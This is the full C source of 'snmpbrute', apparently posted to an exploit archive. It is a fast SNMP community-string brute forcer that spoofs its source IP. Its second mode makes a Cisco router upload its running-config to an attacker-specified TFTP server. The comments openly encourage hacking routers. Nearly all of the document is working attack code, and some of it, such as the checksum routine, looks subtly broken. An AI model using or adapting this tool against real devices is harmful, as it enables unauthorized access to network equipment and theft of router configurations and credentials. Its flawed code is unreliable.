Snmpbrute-fixedup.c is a fixed version of snmpbrute.c, a very fast snmp brute forcer. Since it doesn't need to wait for a response, it can guess community's very fast. Tested on Slackware 3.6.
7dbc3fe51c35288a5bc8adfcd06b78f7c7b5f7a51c0d77e67f5bee417dd4f9ed
/*
snmpbrute v0.3 by Aidan O'Kelly ( aidan.ok@oceanfree.net )
// Seems like this could be a very usefull peice of code..
// I made a few changes...
// compile flags:
// cc -Wall -O2 -s -o snmpbrute snmpbrute.c
//
// Tested on Slack 7.3.x Linux-2.2.19 glibc-2.2.3
// gcc version 2.95.3 20010315 (release)
// I gave it a try on a FreeBSD, most of the errors were in the function sendudp() iphdr related...
// Jul 22 2001
// --solarx
Thanks to solarx who fixed some bugs that was stopping it being compiled on newer systems.
I'd welcome feedback on this
The code itself is kinda messy. So dont start sending back comments on
that. But if you have anything to say about the idea, please do. Also if
you manage to h4k0r a router, drop me a mail, since I have done
no testing in the wild, only on HP Printers and a 3com switch. (and i got
a friend to test it on a Cisco, it does work!)
Sends snmp packets to a router, in an attempt to find out the rw community
Its basicly a very fast snmp brute forcer. Since it doesnt need to wait
for a response. it can guess communitys very fast, as fast you can send
packets, (or as fast as the router can receive them)
This is thanks to snmp using udp :]
Mode 1 is for when you have read access. It sends an snmp packet that sets
system.sysLocation.0 to the community its guessing. If it succeds. the
sysLocation will be the write community, but you need read access to see
it :]
Mode 2 is for when you dont have read access. It tells the router to
upload its config file to a tftpserver (specified on the command line)
** This mode only works on Ciscos! **
-D is delay in miliseconds. dont set this too low, or the router will drop
some of the packets. Although I think, if your sending packets across the
'net, theres not much chance of this. even if delay looww. its 100 by
delault
This was compiled on a slackware 3.6 system. On some other linux systems
the ip_udp.h file is in a different place( linux/udp.h? ) so you'll have
to change it if you get errors about it
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#ifdef OLD_LINUX
#include <netinet/ip_udp.h>
#else
#include <netinet/udp.h>
#endif
#define pexit(a,b) fprintf(stderr, "%s: %s\n", a, b), exit(EXIT_FAILURE)
char *makesetreq(char *community, char *value, char *mib, int mibsize,
unsigned long id, int *size);
int makemibaddr(char *addr, char *buf);
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *w++;
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
/* function to send a simple UDP packet */
void sendudp(int sock, unsigned long *saddr, unsigned long *daddr,
unsigned int sport, unsigned int dport, char *data, int len)
{
char *packet;
int ret;
struct sockaddr_in dstaddr;
struct iphdr *ip;
struct udphdr *udp;
packet =
(char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + len);
if (packet == NULL) {
fprintf(stderr, "Malloc failed\n");
exit(EXIT_FAILURE);
}
ip = (struct iphdr *) packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));
ip->saddr = *saddr;
ip->daddr = *daddr;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->id = htons((unsigned short) rand());
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(sizeof(struct udphdr) + len);
memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)), data,
len);
dstaddr.sin_family = AF_INET;
dstaddr.sin_addr.s_addr = *daddr;
ret =
sendto(sock, packet,
sizeof(struct iphdr) + sizeof(struct udphdr) + len, 0,
(struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in));
free(packet);
}
char *nextword(char *buf)
{
char *tmp;
tmp = buf + strlen(buf);
tmp++;
return tmp;
}
int erexit(char *msg)
{
printf("%s\n", msg);
exit(EXIT_FAILURE);
}
void usage()
{
printf
("Usage: ./snmpbrute <-s source> <-d dest> <-w wordlist> [-m mode] [ -t tftpserver] [-D delay]\n");
}
int main(int argc, char **argv)
{
struct stat finfo;
char *words, *ptr, *saddr, *daddr, *wordfile, *tftpserver;
int i, ret, wordcount, wordfilesize, fd, mode, delay, mibsize, t;
char a[1];
unsigned char mib[60];
unsigned char tmpmib[9];
unsigned char *buf;
char value[60];
int size;
unsigned long id;
int sock;
unsigned long lsaddr, ldaddr;
saddr = NULL;
daddr = NULL;
wordfile = NULL;
delay = 200;
mode = 1;
if (argc < 7) {
usage();
erexit("not enough args\n");
}
while ((i = (int) getopt(argc, argv, "s:d:t:w:m:D:hv")) != EOF) {
switch (i) {
case 'h':
printf("\t-h Print this help and exit.\n");
printf("\t-v Print version and exit.\n");
break;
case 'v':
printf("%s compiled %s\n", __FILE__, __DATE__);
exit(EXIT_SUCCESS);
case 's':
saddr = strdup(optarg);
break;
case 'd':
daddr = strdup(optarg);
break;
case 't':
tftpserver = strdup(optarg);
break;
case 'w':
wordfile = strdup(optarg);
break;
case 'm':
mode = atoi(optarg);
break;
case 'D':
delay = atoi(optarg);
break;
case '?':
default:
break;
}
}
printf
("Ok, spoofing packets from %s to %s with wordlist %s (Delay: %d)\n",
saddr, daddr, wordfile, delay);
if (mode > 1) {
printf("TFTP Address:%s\n", tftpserver);
if (inet_addr(tftpserver) == (-1)) {
erexit("Invalid TFTP address\n");
}
}
if (((inet_addr(saddr) == (-1)) || (inet_addr(daddr) == (-1)))) {
erexit("Invalid source/destination IP address\n");
}
if ((saddr == NULL) || (daddr == NULL) || (wordfile == NULL)) {
usage();
fprintf(stderr, "No %s%s%s", (saddr == NULL ? "Source/" : ""),
(daddr == NULL ? "Dest/" : ""),
(wordfile == NULL ? "Wordlist" : ""));
exit(EXIT_FAILURE);
}
wordcount = 0;
if ((fd = open(wordfile, O_RDONLY)) < 0)
pexit("open", wordfile);
if (stat(wordfile, &finfo) == (-1))
pexit("stat", wordfile);
wordfilesize = (int) finfo.st_size;
printf("Size is %d\n", wordfilesize);
words = (char *) malloc(wordfilesize);
for (i = 0; i < wordfilesize; i++) {
ret = read(fd, &a, 1);
if (ret == 1) {
if (a[0] == '\n') {
a[0] = 0x00;
wordcount++;
}
memcpy(words + i, a, 1);
} else {
printf("Read returned %d\n", ret);
break;
}
}
close(fd);
printf("Read %d words/lines\n", wordcount);
ptr = words;
mibsize = 8;
memcpy(mib, "\x2b\x06\x01\x02\x01\x01\x06\x00", mibsize);
memset(tmpmib, 0, 9);
if (mode == 2) {
mibsize = 9;
memcpy(mib, "\x2b\x06\x01\x04\x01\x09\x02\x01\x37", mibsize);
t = makemibaddr(tftpserver, tmpmib);
memcpy(mib + mibsize, tmpmib, t);
mibsize = mibsize + t;
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock == (-1))
erexit("Couldnt open Raw socket!!\n");
strcpy(value, "running-config");
lsaddr = inet_addr(saddr);
ldaddr = inet_addr(daddr);
for (i = 0; i < wordcount; i++) {
if (mode == 1) {
strcpy(value, ptr);
}
id = rand();
buf = makesetreq(ptr, value, mib, mibsize, id, &size);
sendudp(sock, &lsaddr, &ldaddr, 53, 161, buf, size);
ptr = nextword(ptr);
fflush(stderr);
fprintf(stderr, "Sent %d packets\r", i);
usleep(delay);
}
free(words);
return 0;
}
char *makesetreq(char *community, char *value, char *mib, int mibsize,
unsigned long id, int *size)
{
char *buf;
char *ptr;
int len;
len = 27 + strlen(community) + strlen(value) + mibsize;
buf = (char *) malloc(len + 2);
ptr = buf;
*ptr++ = 0x30;
*ptr++ = len;
/* Snmp Version */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;
/* Community */
*ptr++ = 0x04;
*ptr++ = strlen(community);
strcpy(ptr, community);
ptr = ptr + strlen(community);
*ptr++ = 0xa3; /* Set Request */
*ptr++ = 20 + mibsize + strlen(value);
/* ID */
*ptr++ = 0x02;
*ptr++ = 0x04;
memcpy(ptr, &id, 4);
ptr = ptr + 4;
/* Error Status */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;
/* Error Index */
*ptr++ = 0x02;
*ptr++ = 0x01;
*ptr++ = 0x00;
*ptr++ = 0x030;
*ptr++ = mibsize + strlen(value) + 6;
*ptr++ = 0x30;
*ptr++ = mibsize + strlen(value) + 4;
*ptr++ = 0x06; /* Object */
*ptr++ = mibsize;
memcpy(ptr, mib, mibsize);
ptr = ptr + mibsize;
*ptr++ = 0x04; /* String */
*ptr++ = strlen(value);
memcpy(ptr, value, strlen(value));
*size = len + 2;
return buf;
}
int makemibaddr(char *addr, char *buf)
{
int a, b, c, d, x, y, size;
char *ptr;
char *ptr2;
ptr = strdup(addr);
size = 4;
ptr2 = (char *) strchr(ptr, '.');
*ptr2++ = 0x0;
a = atoi(ptr);
ptr = ptr2;
ptr2 = strchr(ptr, '.');
*ptr2++ = 0x0;
b = atoi(ptr);
ptr = ptr2;
ptr2 = strchr(ptr, '.');
*ptr2++ = 0x0;
c = atoi(ptr);
ptr = ptr2;
d = atoi(ptr);
memset(buf, 0, 8);
ptr = buf;
printf("Address of tftp server is %d.%d.%d.%d\n", a, b, c, d);
if (a >= 128) {
x = 129;
y = a - 128;
*ptr++ = x;
*ptr++ = y;
size++;
} else {
*ptr++ = a;
}
if (b >= 128) {
x = 129;
y = b - 128;
*ptr++ = x;
*ptr++ = y;
size++;
} else {
*ptr++ = b;
}
if (c >= 128) {
x = 129;
y = c - 128;
*ptr++ = x;
*ptr++ = y;
size++;
} else {
*ptr++ = c;
}
if (d >= 128) {
x = 129;
y = d - 128;
*ptr++ = x;
*ptr++ = y;
size++;
} else {
*ptr++ = d;
}
return size;
}